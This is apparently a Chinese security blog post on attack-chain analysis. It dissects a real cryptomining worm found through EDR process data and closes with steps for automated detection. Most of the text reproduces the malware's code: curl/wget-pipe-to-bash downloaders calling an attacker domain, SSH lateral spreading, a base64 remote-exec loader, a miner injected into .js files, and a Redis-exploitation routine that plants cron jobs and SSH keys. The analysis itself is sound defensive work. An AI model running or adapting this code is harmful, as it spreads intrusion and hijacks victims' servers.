导语:攻击链分析是最近比较火的话题,但是ATT&CK攻击模型是针对APT总结出来的,现实当中哪有那么多APT攻击?所以,很多厂商在探索处理日常碰到的针对性攻击。把检测到的安全监控点事件串联起来,形成攻击链。当然需要经过应急响应团队二次评估。
0x00、前言
攻击链分析是最近比较火的话题,但是ATT&CK攻击模型是针对APT总结出来的,现实当中哪有那么多APT攻击?所以,很多厂商在探索处理日常碰到的针对性攻击。把检测到的安全监控点事件串联起来,形成攻击链。当然需要经过应急响应团队二次评估。
0x01、人工分析
攻击链分析要从实际的攻击案例分析开始,所以,第一步我们要通过人工分析了解黑客入侵的来龙去脉。
做人工分析也需要有基础数据收集:
1、资产指纹功能是EDR(endpoint detection response)产品重要的功能,通过对进程、网络连接等基础数据的收集,为进一步安全场景分析提高数据支撑。
2、登陆流水,对分析暴力破解成功等账号风险问题有很大帮助。
3、网络层五元组、VPC log、一段时间内的pcap包。
4、http/https对外Post请求。
首先,我们先从主机层面进程、网络信息开始,至少需要收集以下基础信息:
"process_info": { "path": "/alidata/server/httpd/bin/httpd", "pid": 11095, "name": "httpd", "start-time": 2019-09-27 09:43:05, "cmdline": "/alidata/server/httpd/bin/httpd -k start", "username": "daemon", "groupname": "daemon", "cpu": 8.1, "md5": "4dcb56b10fa7f80891b06feebf0b5fbb", "ppid": 1360, },
"socket_info": { "remoteport": 6381, "socktype": TCP, "pid": 10599, "name": "java", "remoteaddr": "192.168.171.30", "localaddr": "10.207.249.48", "status": "ESTABLISHED", "start-time": 2019-09-27 09:43:05, "localport": 53174, },
我们在搜索process_info.cmdline字段中发现:
/bin/sh -c (curl -s http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O – http://www.jukesxdbrxd.xyz/hehe.sh)|bash -sh
下载了hehe.sh,因为内容比较多我就不完全显示(大部分代码是干掉竞争对手的进程、或者网络连接),分析几块比较有意思的代码段:
1、伪装SSH下载hehe.sh恶意脚本。
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print 2}'|xargs kill -9 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in (grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2>&1 &' & done fi
2、下载内部探测恶意脚本
function e() { nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovL3d3dy5qdWtlc3hkYnJ4ZC54eXovc3MzLnB5Jwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 & touch /tmp/.38t9guft0055d0565u444gtjr5 } if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr5" ]; then e fi
上面代码中base64解密后是:
#coding: utf-8 import urllib import base64 d= 'http://www.jukesxdbrxd.xyz/ss3.py' try: page=base64.b64decode(urllib.urlopen(d).read()) exec(page) except: pass
3、插入挖矿脚本
这招实在太黑了,向本机所有符合条件的.js文件中写入挖矿脚本。
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"61adfe72ae314d8f86532b3cd1c60bda\",\"-1\"\)\</script\>\'\)\;
http://t.cn/EvlonFh 访问后URL:
同时下载了http://www.jukesxdbrxd.xyz/ss3.py 进行分析。
1、redis未授权访问扫描功能
def get_ip_list(): try: url = 'ifconfig.co/ip' conn = httplib.HTTPConnection(url, port=80, timeout=10) conn.request(method='GET', url='/', ) result = conn.getresponse() ip1 = result.read() ips1 = findall(r'\d+.\d+.', ip1)[0] for u in range(0, 256): ip_list1 = (ips1 + (str(u))) for g in range(1, 256): IP_LIST.append(ip_list1 + '.' + (str(g))) except Exception: ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip() ips2 = findall(r'\d+.\d+.', ip2)[0] for i in range(0, 255): ip_list2 = (ips2 + (str(i))) for g in range(1, 255): IP_LIST.append(ip_list2 + '.' + (str(g))) pass def get_ip_list2(): not_valid = [10,127,169,172,192] for i in range(0, 100000): first = randrange(1,227) while first in not_valid: first = randrange(1,227) ip = ".".join([str(first),str(randrange(0,256)), str(randrange(0,256)),str(randrange(0,256))]) IP_LIST.append(ip) def runPortscan(): for x in range(99999): get_ip_list2() for host in IP_LIST: scanner.lck.acquire() if len(scanner.tlist) >= scanner.maxthreads: scanner.lck.release() scanner.evnt.wait() else: scanner.lck.release() scanner.newthread(host) for t in scanner.tlist: t.join()
在主机上的执行结果:
netstat -antup Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 7506/0 tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN 7743/1 tcp 0 0 127.0.0.1:6012 0.0.0.0:* LISTEN 7845/2 tcp 0 1 10.0.0.26:56082 207.158.88.30:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:54058 61.x.166.211:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:42164 33.x.249.227:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:52206 25.x.45.0:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:36772 210.x.3.9:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:60696 70.186.8.29:6379 SYN_SENT ...(省略,后面还有很多) tcp 0 16 10.0.0.26:54142 115.230.124.187:6379 ESTABLISHED 7999/python tcp 0 0 10.0.0.26:22 106.38.115.24:12957 ESTABLISHED 7845/2 tcp 0 0 10.0.0.26:22 106.38.115.24:12955 ESTABLISHED 7506/0
2、如果存在redis权限,拷贝sshkey到目标主机。通过redis导出文件方式增加C2的秘钥。
SKEY="\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBoaGW7s5jkS7HBHz3S007pxTSSjuF16E2UBoDYBG3xrOVTf504K82It6RncEp8jEN5LxoePNGDatJYEsRLSyRyUuGDp1jdBW/yTa5dMQm/29UQ7VDvqF40CN44wemG0edFHxBLLSmNBgPfapuumePxSbLVTlEUb5tpEqiTADx30KFZtKTt1ov549iF4Uw/jLRCP80zPqmZgeUxGRt/jM3LnvJ1W1M2S2BLFbHovMuLRFKg8FCUrEe23V+6Vp4l7A4SgwxQ+4O4JKlZIoiaG7HkC0jhDVdeU9RdvI4uAaBSMed8fgmvFpBVXbG5aGHuYNiODWYiaWGQeCyK0ua+g5N [email protected]\\n#" try: s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.settimeout(3) x = s2.connect_ex((self.host, 6379)) if x == 0: DFDIR=DFRDB='N/A' stt1=stt2=stt3=stt4=stt5=-9 tmp=rd(s2, 'config get dir\r\n') if "Authentication required" in str(tmp): stt1=-10 elif "-ERR unknown command" not in str(tmp): if 'dir' in str(tmp): DFDIR=(tmp.split('dir'))[1].splitlines()[2] tmp=rd(s2, 'config get dbfilename\r\n') if 'dbfilename' in str(tmp): DFRDB=(tmp.split('dbfilename'))[1].splitlines()[2] rs=rd(s2, 'config set dbfilename root\r\n') if "+OK" in str(rs): rs=rd(s2, 'config set rdbcompression no\r\n') if "+OK" in str(rs): write=rd(s2, 'flushall\r\n') if "write against a read only" in str(write): rd(s2, 'SLAVEOF NO ONE\r\n') write=rd(s2, 'flushall\r\n') if "write against a read only" not in str(write): K1=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10))) K2=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10))) K3=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10))) CF=''.join(random.choice(string.lowercase) for x in range(random.randint(6, 18))) rs=rd(s2, 'config set stop-writes-on-bgsave-error no\r\n') #rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n') rs=rd(s2, 'set '+K2+' "'+C2+'"\r\n') apt=chkdir(s2, '/usr/share/bug/apt/') if apt == -4: fml='N.' stt1=chkdir(s2, '/var/spool/cron') else: fml='Debian.' stt1=chkdir(s2, '/var/spool/cron/crontabs') pine=chkdir(s2, '/etc/crontabs') rs=rd(s2, 'del '+K2+'\r\n') rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n') rs=rd(s2, 'config set dbfilename .'+CF+'\r\n') stt2=chkdir(s2, '/etc/cron.d') rs=rd(s2, 'config set dbfilename crontab\r\n') stt22=chkdir(s2, '/etc') if stt2 < 2: stt2=stt22 rs=rd(s2, 'del '+K1+'\r\n') rs=rd(s2, 'config set dbfilename authorized_keys\r\n') rs=rd(s2, 'set '+K3+' "'+SKEY+'"\r\n') stt3=chkdir(s2, '/root/.ssh') stt4=chkdir(s2, '/home/ubuntu/.ssh') #time.sleep(1) rs=rd(s2, 'del '+K3+'\r\n') rs=rd(s2, 'config set rdbcompression yes\r\n') rs=rd(s2, 'config set stop-writes-on-bgsave-error yes\r\n') if "cron" not in str(DFDIR) and ".ssh" not in str(DFDIR): rs=rd(s2, 'config set dir '+DFDIR+'\r\n') rs=rd(s2, 'config set dbfilename '+DFRDB+'\r\n') else: rs=rd(s2, 'config set dir /var/lib/redis\r\n') rs=rd(s2, 'config set dbfilename dump.rdb\r\n') s2.close() except Exception: pass scanner.lck.acquire() scanner.tlist.remove(self) if len(scanner.tlist) < scanner.maxthreads: scanner.evnt.set() scanner.evnt.clear() scanner.lck.release()
3、建立外联下载恶意软件通道。
def run(self): RHOST='http://jukesxdbrxd.xyz/' CHKCURL='tbin=$(command -v passwd); bpath=$(dirname \\"${tbin}\\"); curl=\\"curl\\"; if [ $(curl --version 2>/dev/null|grep \\"curl \\"|wc -l) -eq 0 ]; then curl=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"CURLOPT_VERBOSE\\" && curl=\\"$f\\" && break; done; fi; fi; wget=\\"wget\\"; if [ $(wget --version 2>/dev/null|grep \\"wgetrc \\"|wc -l) -eq 0 ]; then wget=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"to <[email protected]>\\" && wget=\\"$f\\" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i \\".onion.\\"|wc -l) -ne 0 ]; then echo \\"127.0.0.1 localhost\\" > /etc/hosts >/dev/null 2>&1; fi; ' RPATH1='hehe.sh' TIMEOUT='40' COPTS='-fsSLk --max-time '+TIMEOUT WOPTS='--quiet --no-check-certificate --timeout='+TIMEOUT C1='\\n\\n*/1 * * * * root ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n' C2='\\n\\n*/1 * * * * ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'
在主机上的执行结果:
[email protected]:~# netstat -antup |grep EST tcp 0 36 10.0.0.26:22 106.38.115.24:12956 ESTABLISHED 7743/1 tcp 0 0 10.0.0.26:22 106.38.115.24:12957 ESTABLISHED 7845/2 tcp 0 0 10.0.0.26:22 106.38.115.24:12955 ESTABLISHED 7506/0
0x02、分析自动化
我们大致了解了黑客程序入侵手段,那么我们如何自动化整个查询过程。
异常获取:
1、清洗所有进程cmdline数据,去除到空字段等异常情况。
2、把所有进程cmdline数据归一化。
3、与7天白名单基线对比,筛选出不在基线中的进程cmdline
4、提取存在主机安全告警的cmdline数据,清洗后,进行相识度对比,curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2
5、在网络流程层提取POST流量,,<?xml version=”1.0” <string>curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh|bash </string>
6、经过误报处理后,发现的告警就是我们想要的。